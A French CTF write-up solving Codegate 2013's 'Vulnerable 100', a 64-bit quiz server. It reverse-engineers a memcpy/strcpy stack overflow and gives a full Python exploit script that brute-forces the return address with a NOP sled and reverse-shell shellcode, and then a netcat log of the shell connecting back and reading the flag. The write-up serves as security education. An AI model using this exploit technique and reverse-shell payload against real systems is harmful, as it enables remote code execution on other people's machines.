FR EN

Vulnerable 100

Vulnerable 200 >>

Le vuln 100 est un ELF 64-bits, strippé et compilé avec stackexec (!). Chose marrante, les organisateurs ont laissé pendant 4 heures une version semblable mais inexploitable (ça fait toujours plaisir de s'arracher les cheveux pendant 4 heures pour rien sur une épreuve à 100 points). L'exécutable est un serveur TCP sur le port 6666, simulant une sorte de quizz.

Le main commence à 0x400cf8, en commençant par initialiser le contenu des 3 questions ainsi que les hash MD5 des réponses. Ensuite, la socket serveur est initialisée, accepte des clients et forke le service à 0x400fba. Le début du service n'a rien de bien intéressant : le service envoie une question, lit respectivement 7, 13 et 3 bytes pour chaque réponse dans des buffers de 12, 16 et 16 bytes.

En revanche, lorsque l'utilisateur a répondu correctement aux 3 questions, l'application demande un username pour le classement du jeu, à partir de 0x4011d9 :

mov rsi, [rbp+var_420] ; buf
mov eax, [rbp+var_8]
mov ecx, 0 ; flags
mov edx, 800h ; n
mov edi, eax ; fd
call _recv
mov rax, [rbp+var_420]
mov rdi, rax
call sub_400C69
mov rax, cs:buf
mov [rbp+var_428], 0FFFFFFFFFFFFFFFFh
mov rdx, rax
mov eax, 0
mov rcx, [rbp+var_428]
mov rdi, rdx
repne scasb
mov rax, rcx
not rax
sub rax, 1
lea rdx, [rax-2] ; n
mov rsi, cs:buf ; buf
mov eax, [rbp+var_8]
mov ecx, 0 ; flags
mov edi, eax ; fd
call _send

On commence à voir apparaître des choses un peu bizarres : deux lectures successives de 0x800 dans le même buffer *(rbp-0x420), appel d'une fonction inconnue à 0x400C69, calcul de strlen(*cs:buf) - 1, puis envoi dans la socket de *cs:buf. La première question : où pointe rbp - 0x420 ? Il faut remonter à 0x400d09 pour trouver un mov [rbp+var_420], rsi, au tout début du main. rsi au tout début du main pointe vers argv[0], et c'est donc là que l'username est écrit Oo. On a donc contrôle de argv et de l'environnement, mais pas grand chose de plus.

Il faut donc s'intéresser à la fonction du milieu, à 0x400c69 :

var_120 = -120h
src = -118h
dest = -110h
var_8 = -8

push rbp
mov rbp, rsp
sub rsp, 120h
mov [rbp+src], rdi
lea rax, [rbp+dest]
mov [rbp+var_8], rax
// rsi = strlen(rbp+src)
mov rdx, [rbp+src]
lea rax, [rbp+dest]
mov rcx, rdx
mov rdx, rsi ; n
mov rsi, rcx ; src
mov rdi, rax ; dest
call _memcpy
mov rdx, [rbp+src]
mov rax, [rbp+var_8]
mov rsi, rdx ; src
mov rdi, rax ; dest
call _strcpy
mov rax, [rbp+var_8]
mov cs:buf, rax
leave
retn

On effectue donc en théorie deux copies du même buffer argument (argv[0]), la première avec memcpy vers un buffer de la pile à rbp - 0x110, et la deuxième avec strcpy vers l'espace pointé par rbp - 8. Pas très réaliste, mais on a donc notre overflow. A noter que la dernière instruction fait pointer cs:buf vers le buffer local pointé par rbp - 8 (wtf). Petit problème : en 32-bits, aucun soucis, on fait un premier overflow qui fait pointer rbp - 8 vers le BSS, on réécrit l'adresse de retour avec l'adresse du BSS, on place un shellcode au début et le tour est joué. Seulement, en 64-bits, l'adresse à rbp-8 doit contenir des bytes nuls pour peu qu'elle soit valide, et comme le memcpy est fait avec comme paramètre strlen(arg), on ne peut donc pas immédiatement réécrire l'adresse de retour.

L'astuce ici est de réécrire rbp - 8 par quasiment la même adresse qu'initialement, mais décalée de 16 bytes. Ainsi, Lors de la première écriture, on ne fait que réécrire rbp - 8, qui ne pointerait plus vers rbp - 0x110, mais rbp - 0x100. Lors de la deuxième copie, c'est en réalité l'adresse de retour qui sera réécrite par rbp - 0x100, exécutant donc notre charge (puisque la pile est exécutable). Une deuxième astuce nous permettait d'avoir une idée des adresses de la pile : si on envoyait un buffer "vide" (\x00), alors memcpy() et strcpy() ne feraient pas grand chose, mais cs:buf pointerait quand même vers rbp - 0x110. Or, dans le code qui suit montré plus haut, on évalue strlen(cs:buf) - 1, qui dans ce cas vaut - 1, et en réalité, toute la pile à partir du rbp - 0x110 original sera envoyée via le socket :

Codegate 2013 vulnerable 100 stack dump

On voit en effet l'adresse de retour à 0x118, et on retrouve bien notre adresse censée pointer vers rbp - 0x110 à l'offset 0x108 du dump. On note au passage qu'ASLR est désactivé, puisque la pile a des adresses en 0x7fffffffXXXX. Malheureusement, cette adresse n'est pas rbp - 0x110, probablement réécrite lors de l'appel à send(). Ceci dit, elle donne une bonne estimation et il ne nous reste plus qu'à bruteforce à partir de 0x7fffffffe000 pour être large :

#!/usr/bin/python

import socket
import select
import struct

HOST="58.229.122.18"

def recvTillPattern(sock, pattern):
	txt = ""
	while 1:
		sel = select.select([sock],[],[])
		if len(sel[0]) == 1:
			c = sock.recv(1)
			if len(c) == 0:
				break
			txt += c
			if pattern in txt:
				break
		else:
			break
	return txt

def prelude():
	s = socket.socket()
	s.connect((HOST, 6666))
	recvTillPattern(s, "(only small letter)")
	s.sendall("arsenal\n")
	recvTillPattern(s, "(only small letter)")
	s.sendall("gyeongbokgung\n")
	recvTillPattern(s, "(only small letter)")
	s.sendall("psy\n")
	print recvTillPattern(s, "nickname:")
	return s


shellcode = [ reverse shell ]

for addr in range(0x7fffffffe000, 0x7ffffffff000, 4):
	sock = prelude()
	sock.sendall("\x90"*(0x108-len(shellcode)-20) + shellcode + '\x90'*20 + struct.pack("<Q", addr))
	try:
		print sock.recv(1024)
	except:
		pass
	sock.close()

Côté netcat :

$ nc -vvv -l 1337
Connection from 58.229.122.18 port 1337 [tcp/*] accepted
whoami
codegate2013
ls
key
pwn
cat key
Key is "Very_G00d_St6rt!!_^^"

Vulnerable 200 >>